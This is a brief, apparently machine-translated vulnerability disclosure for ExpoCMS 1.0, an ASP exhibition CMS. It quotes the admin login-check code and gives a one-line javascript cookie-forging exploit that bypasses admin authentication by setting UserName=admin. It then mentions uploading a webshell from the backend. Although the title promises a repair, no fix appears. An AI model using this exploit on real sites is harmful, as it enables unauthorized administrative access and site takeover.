ExpoCMS background Verification Vulnerability and repair

ExpoCMS is a cms system designed specifically for the exhibition. It adopts mature ASP + ACCESS programming, DIV + CSS layout, jquery class library, and access database architecture, which is easy to use, easy to deploy, and scalable, it can meet the basic exhibition promotion and information publishing functions, and the system opens all source code. Users can expand their own modules as needed, such: topic information, news classification, news information, pre-registration of audience/exhibitors, background Administrator account management, etc. The design structure of the entire system fully considers the functional requirements of exhibition industry websites. The website's background functions are powerful and simple to manage. You are welcome to use them.
Demo site:Http://expo.zhujianqiang.com
Background address: Your URL/admin/admin_login.asp

Vulnerability file :/Admin/CheckLogin. asp

<%
Response. Buffer = True
Response. Expires =-1
Response. ExpiresAbsolute = Now ()-1
Response. Expires = 0
Response. CacheControl = "no-cache"
Session. CodePage = 65001
Response. Charset = "UTF-8"
UserName = Request. Cookies ("CNVP_CMS2") ("UserName") Get the username value in the cookie
If UserName = "" Then
Response. Redirect ("Admin_Login.asp") if it is null, jump
Response. End ()
End If
%>

 

Exp: javascript: alert (document. cookie = "CNVP % 5FCMS2 = UserName = admin") so that you can enter/admin/Admin_Index.asp in the background.
A webshell can be used for uploading in the background.

Powered by Customer Service Hotline: 010-68335476 orPoweredExpo CMS 1.0

By: xiaozhong, situation arrangement and editing